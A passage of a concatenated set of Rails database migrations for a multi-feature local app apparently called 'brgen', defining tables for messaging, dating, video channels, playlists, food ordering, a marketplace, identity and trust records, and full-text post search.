frozen_string_literal: true\n\nclass CreateFollows &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :follows do |t|\n      t.integer :follower_id\n      t.integer :followed_id\n\n      t.timestamps\n    end\n    add_index :follows, :follower_id\n    add_index :follows, :followed_id\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311163641_create_hashtags.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateHashtags &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :hashtags do |t|\n      t.string :name\n      t.integer :usage_count\n\n      t.timestamps\n    end\n    add_index :hashtags, :name, unique: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311163648_create_taggings.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTaggings &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :taggings do |t|\n      t.references :taggable, polymorphic: true, null: false\n      t.references :hashtag, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311163655_create_mentions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMentions &lt; ActiveRecord::Migration[8.0]\n  def change\n    create_table :mentions do |t|\n      t.references :mentionable, polymorphic: true, null: false\n      t.references :mentioned_user, null: false, foreign_key: { to_table: :users }\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311164112_create_conversations.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateConversations &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :conversations do |t|\n      t.string :conversation_type\n      t.string :name\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311164119_create_conversation_participants.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateConversationParticipants &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :conversation_participants do |t|\n      t.references :conversation, null: false, foreign_key: true\n      t.references :user, null: false, foreign_key: true\n      t.datetime :last_read_at\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311164127_create_messages.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMessages &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :messages do |t|\n      t.references :conversation, null: false, foreign_key: true\n      t.integer :sender_id\n      t.text :content\n      t.string :message_type\n      t.datetime :expires_at\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311164134_create_message_receipts.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMessageReceipts &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :message_receipts do |t|\n      t.references :message, null: false, foreign_key: true\n      t.references :user, null: false, foreign_key: true\n      t.datetime :delivered_at\n      t.datetime :read_at\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311164141_create_typing_indicators.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTypingIndicators &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :typing_indicators do |t|\n      t.references :conversation, null: false, foreign_key: true\n      t.references :user, null: false, foreign_key: true\n      t.datetime :expires_at\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311165000_add_guest_to_users.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddGuestToUsers &lt; ActiveRecord::Migration[8.0]\n  def change\n    add_column :users, :guest, :boolean, default: false, null: false\n    add_column :users, :display_name, :string\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311221744_add_user_description_to_communities.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddUserDescriptionToCommunities &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_column :communities, :user_id, :integer unless column_exists?(:communities, :user_id)\n    add_column :communities, :description, :text unless column_exists?(:communities, :description)\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505002649_create_tv_channels.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTvChannels &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :tv_channels do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :name\n      t.text :description\n      t.string :slug\n      t.integer :subscribers_count\n      t.integer :total_views\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505002659_create_tv_videos.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTvVideos &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :tv_videos do |t|\n      t.references :tv_channel, null: false, foreign_key: true\n      t.references :user, null: false, foreign_key: true\n      t.string :title\n      t.text :description\n      t.string :status\n      t.integer :duration_seconds\n      t.integer :views_count\n      t.integer :likes_count\n      t.integer :comments_count\n      t.datetime :published_at\n      t.string :thumbnail_url\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505002711_create_tv_broadcasts.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTvBroadcasts &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :tv_broadcasts do |t|\n      t.references :tv_channel, null: false, foreign_key: true\n      t.references :user, null: false, foreign_key: true\n      t.string :title\n      t.text :description\n      t.string :status\n      t.string :stream_key\n      t.integer :viewer_count\n      t.datetime :started_at\n      t.datetime :ended_at\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505002719_create_tv_subscriptions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTvSubscriptions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :tv_subscriptions do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :tv_channel, null: false, foreign_key: true\n      t.boolean :notify_on_upload\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505002729_create_tv_view_events.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTvViewEvents &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :tv_view_events do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :tv_video, null: false, foreign_key: true\n      t.integer :watch_time_seconds\n      t.boolean :completed\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505014447_create_dating_profiles.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateDatingProfiles &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :dating_profiles do |t|\n      t.references :user, null: false, foreign_key: true\n      t.text :bio\n      t.string :gender\n      t.string :looking_for\n      t.integer :age\n      t.string :location\n      t.decimal :latitude\n      t.decimal :longitude\n      t.boolean :visible\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505014452_create_dating_likes.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateDatingLikes &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :dating_likes do |t|\n      t.references :liker, null: false, foreign_key: true\n      t.references :likee, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505014457_create_dating_dislikes.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateDatingDislikes &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :dating_dislikes do |t|\n      t.references :disliker, null: false, foreign_key: true\n      t.references :dislikee, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505014503_create_dating_matches.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateDatingMatches &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :dating_matches do |t|\n      t.references :initiator, null: false, foreign_key: true\n      t.references :receiver, null: false, foreign_key: true\n      t.string :status\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015400_create_playlist_playlists.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePlaylistPlaylists &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :playlist_playlists do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :name\n      t.text :description\n      t.boolean :public_access\n      t.integer :plays_count\n      t.integer :likes_count\n      t.integer :tracks_count\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015406_create_playlist_tracks.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePlaylistTracks &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :playlist_tracks do |t|\n      t.string :title\n      t.string :artist\n      t.string :album\n      t.integer :duration_seconds\n      t.string :genre\n      t.string :source_type\n      t.string :source_url\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015411_create_playlist_playlist_tracks.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePlaylistPlaylistTracks &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :playlist_playlist_tracks do |t|\n      t.references :playlist_playlist, null: false, foreign_key: true\n      t.references :playlist_track, null: false, foreign_key: true\n      t.integer :position\n      t.references :user, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015416_create_playlist_listens.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePlaylistListens &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :playlist_listens do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :playlist_track, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015440_create_takeaway_restaurants.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTakeawayRestaurants &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :takeaway_restaurants do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :name\n      t.text :description\n      t.string :address\n      t.string :city\n      t.string :phone\n      t.string :cuisine_type\n      t.integer :delivery_fee_cents\n      t.integer :min_order_cents\n      t.decimal :rating\n      t.integer :reviews_count\n      t.boolean :active\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015446_create_takeaway_menu_items.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTakeawayMenuItems &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :takeaway_menu_items do |t|\n      t.references :restaurant, null: false, foreign_key: true\n      t.string :name\n      t.text :description\n      t.integer :price_cents\n      t.boolean :available\n      t.boolean :vegetarian\n      t.boolean :vegan\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015451_create_takeaway_orders.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTakeawayOrders &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :takeaway_orders do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :restaurant, null: false, foreign_key: true\n      t.string :status\n      t.string :delivery_address\n      t.integer :subtotal_cents\n      t.integer :delivery_fee_cents\n      t.integer :total_cents\n      t.text :special_instructions\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015456_create_takeaway_order_items.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTakeawayOrderItems &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :takeaway_order_items do |t|\n      t.references :order, null: false, foreign_key: true\n      t.references :menu_item, null: false, foreign_key: true\n      t.integer :quantity\n      t.integer :unit_price_cents\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015518_create_marketplace_categories.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMarketplaceCategories &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :marketplace_categories do |t|\n      t.string :name\n      t.string :slug\n      t.integer :parent_id\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015523_create_marketplace_listings.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMarketplaceListings &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :marketplace_listings do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :category, null: false, foreign_key: true\n      t.string :title\n      t.text :description\n      t.integer :price_cents\n      t.string :currency\n      t.string :condition\n      t.string :status\n      t.string :location\n      t.integer :views_count\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260505015530_create_marketplace_orders.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMarketplaceOrders &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :marketplace_orders do |t|\n      t.references :buyer, null: false, foreign_key: true\n      t.references :listing, null: false, foreign_key: true\n      t.string :status\n      t.text :message\n      t.integer :price_cents\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260514120000_create_identity_and_trust_primitives.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateIdentityAndTrustPrimitives &lt; ActiveRecord::Migration[8.0]\n  def change\n    create_table :identity_providers do |t|\n      t.string :name, null: false\n      t.string :slug, null: false\n      t.string :issuer\n      t.string :client_id\n      t.boolean :active, null: false, default: true\n      t.timestamps\n    end\n    add_index :identity_providers, :slug, unique: true\n\n    create_table :external_identities do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :identity_provider, null: false, foreign_key: true\n      t.string :subject, null: false\n      t.string :email_address\n      t.string :phone_number\n      t.string :assurance_level, null: false, default: \"account\"\n      t.datetime :last_used_at\n      t.timestamps\n    end\n    add_index :external_identities, [:identity_provider_id, :subject], unique: true, name: \"index_external_identities_on_provider_and_subject\"\n\n    create_table :identity_assurances do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :level, null: false\n      t.string :source, null: false\n      t.datetime :verified_at\n      t.datetime :expires_at\n      t.timestamps\n    end\n    add_index :identity_assurances, [:user_id, :level], unique: true\n\n    create_table :trust_signals do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :kind, null: false\n      t.string :source\n      t.integer :weight, null: false, default: 0\n      t.text :metadata\n      t.timestamps\n    end\n    add_index :trust_signals, [:user_id, :kind]\n\n    create_table :reputation_scores do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :scope, null: false, default: \"global\"\n      t.integer :score, null: false, default: 0\n      t.datetime :calculated_at\n      t.timestamps\n    end\n    add_index :reputation_scores, [:user_id, :scope], unique: true\n\n    create_table :account_merges do |t|\n      t.references :guest_user, null: false, foreign_key: { to_table: :users }\n      t.references :user, null: false, foreign_key: true\n      t.string :status, null: false, default: \"pending\"\n      t.datetime :merged_at\n      t.timestamps\n    end\n    add_index :account_merges, [:guest_user_id, :user_id], unique: true\n\n    create_table :moderation_flags do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :flaggable_type, null: false\n      t.integer :flaggable_id, null: false\n      t.string :kind, null: false\n      t.string :status, null: false, default: \"open\"\n      t.text :reason\n      t.timestamps\n    end\n    add_index :moderation_flags, [:flaggable_type, :flaggable_id]\n    add_index :moderation_flags, [:user_id, :status]\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260514121000_create_locality_primitives.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateLocalityPrimitives &lt; ActiveRecord::Migration[8.0]\n  def change\n    create_table :cities do |t|\n      t.string :country_code, null: false\n      t.string :currency, null: false\n      t.string :domain, null: false\n      t.decimal :latitude, precision: 10, scale: 6\n      t.string :locale, null: false\n      t.decimal :longitude, precision: 10, scale: 6\n      t.string :name, null: false\n      t.string :slug, null: false\n      t.string :time_zone\n      t.timestamps\n    end\n\n    add_index :cities, :domain, unique: true\n    add_index :cities, :slug, unique: true\n\n    create_table :neighborhoods do |t|\n      t.references :city, null: false, foreign_key: true\n      t.string :name, null: false\n      t.string :slug, null: false\n      t.timestamps\n    end\n\n    add_index :neighborhoods, [:city_id, :slug], unique: true\n\n    create_table :places do |t|\n      t.references :city, null: false, foreign_key: true\n      t.references :neighborhood, foreign_key: true\n      t.string :address\n      t.string :kind, null: false\n      t.decimal :latitude, precision: 10, scale: 6, null: false\n      t.decimal :longitude, precision: 10, scale: 6, null: false\n      t.string :name, null: false\n      t.string :slug\n      t.timestamps\n    end\n\n    add_index :places, [:city_id, :kind]\n    add_index :places, [:city_id, :slug]\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260517142629_add_location_to_users.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddLocationToUsers &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_column :users, :latitude,  :decimal, precision: 10, scale: 7\n    add_column :users, :longitude, :decimal, precision: 10, scale: 7\n    add_column :users, :location_updated_at, :datetime\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260517144635_create_push_subscriptions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePushSubscriptions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :push_subscriptions do |t|\n      t.belongs_to :user, null: false\n      t.text :endpoint, null: false\n      t.string :p256dh, null: false\n      t.string :auth,   null: false\n      t.timestamps\n    end\n    add_index :push_subscriptions, [:user_id, :endpoint], unique: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260517150650_create_active_storage_tables.rb`\n```ruby\n# frozen_string_literal: true\n\n# Generated by rails active_storage:install\nclass CreateActiveStorageTables &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :active_storage_blobs do |t|\n      t.string   :key,          null: false\n      t.string   :filename,     null: false\n      t.string   :content_type\n      t.text     :metadata\n      t.string   :service_name, null: false\n      t.bigint   :byte_size,    null: false\n      t.string   :checksum\n      t.datetime :created_at,   null: false\n      t.index [:key], unique: true\n    end\n\n    create_table :active_storage_attachments do |t|\n      t.string     :name,        null: false\n      t.references :record,      null: false, polymorphic: true, index: false\n      t.references :blob,        null: false\n      t.datetime   :created_at,  null: false\n      t.index [:record_type, :record_id, :name, :blob_id], name: :index_active_storage_attachments_uniqueness, unique: true\n      t.foreign_key :active_storage_blobs, column: :blob_id\n    end\n\n    create_table :active_storage_variant_records do |t|\n      t.belongs_to :blob,       null: false, index: false\n      t.string     :variation_digest, null: false\n      t.index [:blob_id, :variation_digest], name: :index_active_storage_variant_records_uniqueness, unique: true\n      t.foreign_key :active_storage_blobs, column: :blob_id\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260517155314_create_email_subscriptions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateEmailSubscriptions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :email_subscriptions do |t|\n      t.string  :email,      null: false\n      t.string  :city\n      t.string  :locale\n      t.string  :token,      null: false\n      t.boolean :confirmed,  default: false, null: false\n      t.datetime :confirmed_at\n      t.timestamps\n    end\n    add_index :email_subscriptions, :email, unique: true\n    add_index :email_subscriptions, :token, unique: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524001000_create_brgen_restored_subapp_tables.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateBrgenRestoredSubappTables &lt; ActiveRecord::Migration[8.0]\n  def change\n    create_table :playlist_sets, if_not_exists: true do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :name, null: false\n      t.text :description\n      t.string :privacy, default: \"public\"\n      t.boolean :collaborative, null: false, default: false\n      t.timestamps\n    end\n\n    create_table :playlist_collaborations, if_not_exists: true do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :set, foreign_key: { to_table: :playlist_sets }\n      t.references :playlist\n      t.string :role, null: false, default: \"editor\"\n      t.timestamps\n    end\n    add_index :playlist_collaborations, %i[user_id set_id playlist_id], unique: true, name: \"idx_playlist_collab_unique\", if_not_exists: true\n\n    create_table :playlist_likes, if_not_exists: true do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :set, foreign_key: { to_table: :playlist_sets }\n      t.references :playlist\n      t.timestamps\n    end\n    add_index :playlist_likes, %i[user_id set_id playlist_id], unique: true, name: \"idx_playlist_likes_unique\", if_not_exists: true\n\n    create_table :takeaway_delivery_drivers, if_not_exists: true do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :vehicle_type\n      t.string :license_number\n      t.boolean :available, null: false, default: false\n      t.decimal :current_lat, precision: 10, scale: 6\n      t.decimal :current_lng, precision: 10, scale: 6\n      t.timestamps\n    end\n    add_index :takeaway_delivery_drivers, %i[available current_lat current_lng], name: \"idx_takeaway_drivers_available_location\", if_not_exists: true\n\n    create_table :tv_live_streams, if_not_exists: true do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :channel, foreign_key: { to_table: :tv_channels }\n      t.string :title, null: false\n      t.text :description\n      t.string :status, null: false, default: \"scheduled\"\n      t.integer :viewer_count, null: false, default: 0\n      t.string :stream_key\n      t.datetime :started_at\n      t.datetime :ended_at\n      t.timestamps\n    end\n    add_index :tv_live_streams, :stream_key, unique: true, if_not_exists: true\n    add_index :tv_live_streams, %i[status updated_at], if_not_exists: true\n\n    create_table :tv_stream_chats, if_not_exists: true do |t|\n      t.references :live_stream, null: false, foreign_key: { to_table: :tv_live_streams }\n      t.references :user, null: false, foreign_key: true\n      t.text :message, null: false\n      t.timestamps\n    end\n    add_index :tv_stream_chats, %i[live_stream_id created_at], if_not_exists: true\n\n    create_table :tv_video_notes, if_not_exists: true do |t|\n      t.references :video, null: false, foreign_key: { to_table: :tv_videos }\n      t.references :user, null: false, foreign_key: true\n      t.text :body, null: false\n      t.integer :timestamp\n      t.timestamps\n    end\n    add_index :tv_video_notes, %i[video_id timestamp created_at], if_not_exists: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524001300_create_marketplace_stores.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMarketplaceStores &lt; ActiveRecord::Migration[8.0]\n  def change\n    create_table :marketplace_stores, if_not_exists: true do |t|\n      t.references :owner, null: false, foreign_key: { to_table: :users }\n      t.string :name, null: false\n      t.string :slug, null: false\n      t.text :description\n      t.string :vertical\n      t.boolean :active, null: false, default: true\n      t.boolean :verified, null: false, default: false\n      t.timestamps\n    end\n\n    add_index :marketplace_stores, :slug, unique: true, if_not_exists: true\n    add_index :marketplace_stores, %i[vertical active], if_not_exists: true\n    add_reference :marketplace_listings, :store, foreign_key: { to_table: :marketplace_stores }, if_not_exists: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524001400_create_marketplace_deals.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMarketplaceDeals &lt; ActiveRecord::Migration[8.0]\n  def change\n    create_table :marketplace_deals, if_not_exists: true do |t|\n      t.references :listing, null: false, foreign_key: { to_table: :marketplace_listings }\n      t.string :headline, null: false\n      t.string :badge\n      t.integer :discount_percent\n      t.integer :priority, null: false, default: 0\n      t.boolean :featured, null: false, default: false\n      t.datetime :starts_at\n      t.datetime :ends_at\n      t.timestamps\n    end\n\n    add_index :marketplace_deals, %i[featured priority], if_not_exists: true\n    add_index :marketplace_deals, %i[starts_at ends_at], if_not_exists: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524103100_create_marketplace_listing_favorites.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMarketplaceListingFavorites &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :marketplace_listing_favorites do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :listing, null: false, foreign_key: { to_table: :marketplace_listings }\n      t.timestamps\n    end\n\n    add_index :marketplace_listing_favorites,\n              %i[user_id listing_id],\n              unique: true,\n              name: \"idx_marketplace_favorites_user_listing\"\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524103200_create_tv_comments.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTvComments &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :tv_comments do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :video, null: false, foreign_key: { to_table: :tv_videos }\n      t.text :body, null: false\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524104000_create_activity_events.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateActivityEvents &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :activity_events do |t|\n      t.references :actor, null: true, foreign_key: { to_table: :users }\n      t.string :locality\n      t.string :visibility, null: false, default: \"public\"\n      t.string :moderation_state, null: false, default: \"clean\"\n      t.string :source_vertical, null: false\n      t.string :event_name, null: false\n      t.string :object_type, null: false\n      t.integer :object_id, null: false\n      t.json :metadata\n      t.timestamps\n    end\n\n    add_index :activity_events, %i[source_vertical created_at]\n    add_index :activity_events, %i[object_type object_id]\n    add_index :activity_events, %i[locality created_at]\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524104100_create_marketplace_saved_searches.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateMarketplaceSavedSearches &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :marketplace_saved_searches do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :name\n      t.string :query\n      t.integer :category_id\n      t.string :location\n      t.boolean :notify, null: false, default: false\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524104200_create_notifications.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateNotifications &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :notifications do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :title, null: false\n      t.text :body\n      t.string :source_type\n      t.integer :source_id\n      t.datetime :read_at\n      t.timestamps\n    end\n\n    add_index :notifications, %i[user_id read_at]\n    add_index :notifications, %i[source_type source_id]\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524104300_create_moderation_reports.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateModerationReports &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :moderation_reports do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :reportable_type, null: false\n      t.integer :reportable_id, null: false\n      t.string :reason, null: false\n      t.text :details\n      t.string :status, null: false, default: \"open\"\n      t.timestamps\n    end\n\n    add_index :moderation_reports, %i[reportable_type reportable_id]\n    add_index :moderation_reports, %i[status created_at]\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524104500_create_takeaway_favorite_restaurants.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTakeawayFavoriteRestaurants &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :takeaway_favorite_restaurants do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :restaurant, null: false, foreign_key: { to_table: :takeaway_restaurants }\n      t.timestamps\n    end\n\n    add_index :takeaway_favorite_restaurants,\n              %i[user_id restaurant_id],\n              unique: true,\n              name: \"idx_takeaway_favorites_user_restaurant\"\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260524113000_create_brgen_social_tables.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateBrgenSocialTables &lt; ActiveRecord::Migration[8.0]\n  def change\n    create_table :follows, if_not_exists: true do |t|\n      t.references :follower, null: false, foreign_key: { to_table: :users }\n      t.references :followed, null: false, foreign_key: { to_table: :users }\n      t.timestamps\n    end\n    add_index :follows, %i[follower_id followed_id], unique: true, if_not_exists: true\n\n    create_table :reactions, if_not_exists: true do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :reactable, polymorphic: true\n      t.references :post, foreign_key: true\n      t.string :kind, null: false, default: \"like\"\n      t.timestamps\n    end\n    add_index :reactions,\n              %i[user_id reactable_type reactable_id post_id kind],\n              unique: true,\n              name: \"idx_reactions_unique_user_target_kind\",\n              if_not_exists: true\n\n    create_table :notifications, if_not_exists: true do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :actor, foreign_key: { to_table: :users }\n      t.references :notifiable, polymorphic: true\n      t.string :kind, null: false\n      t.datetime :read_at\n      t.json :payload\n      t.timestamps\n    end\n    add_index :notifications, %i[user_id read_at], if_not_exists: true\n    add_index :notifications, %i[user_id created_at], if_not_exists: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260528000100_create_posts_fts.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePostsFts &lt; ActiveRecord::Migration[8.1]\n  def up\n    execute &lt;&lt;~SQL\n      CREATE VIRTUAL TABLE posts_fts USING fts5(\n        title, content,\n        content='posts', content_rowid='id',\n        tokenize='unicode61'\n      );\n      INSERT INTO posts_fts(rowid, title, content)\n        SELECT id, title, COALESCE(content, '') FROM posts;\n      CREATE TRIGGER posts_ai AFTER INSERT ON posts BEGIN\n        INSERT INTO posts_fts(rowid, title, content)\n          VALUES (new.id, new.title, COALESCE(new.content, ''));\n      END;\n      CREATE TRIGGER posts_au AFTER UPDATE ON posts BEGIN\n        INSERT INTO posts_fts(posts_fts, rowid, title, content)\n          VALUES ('delete', old.id, old.title, COALESCE(old.content, ''));\n        INSERT INTO posts_fts(rowid, title, content)\n          VALUES (new.id, new.title, COALESCE(new.content, ''));\n      END;\n      CREATE TRIGGER posts_ad AFTER DELETE ON posts BEGIN\n        INSERT INTO posts_fts(posts_fts, rowid, title, content)\n          VALUES ('delete', old.id, old.title, COALESCE(old.content, ''));\n      END;\n    SQL\n  end\n\n  def down\n    execute \"DROP TABLE IF EXISTS posts_fts\"\n    execute \"DROP TRIGGER IF EXISTS posts_ai\"\n    execute \"DROP TRIGGER IF EXISTS posts_au\"\n    execute \"DROP TRIGGER IF EXISTS posts_ad\"\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260528000200_create_playlist_set_tracks.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePlaylistSetTracks &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :playlist_set_tracks do |t|\n      t.references :playlist_set, null: false, foreign_key: true\n      t.references :playlist_track, null: false, foreign_key: true\n      t.references :user, null: false, foreign_key: true\n      t.integer :position, null: false, default: 0\n\n      t.timestamps\n    end\n\n    add_index :playlist_set_tracks, %i[playlist_set_id playlist_track_id], unique: true\n  end\nend\n```\n\n## 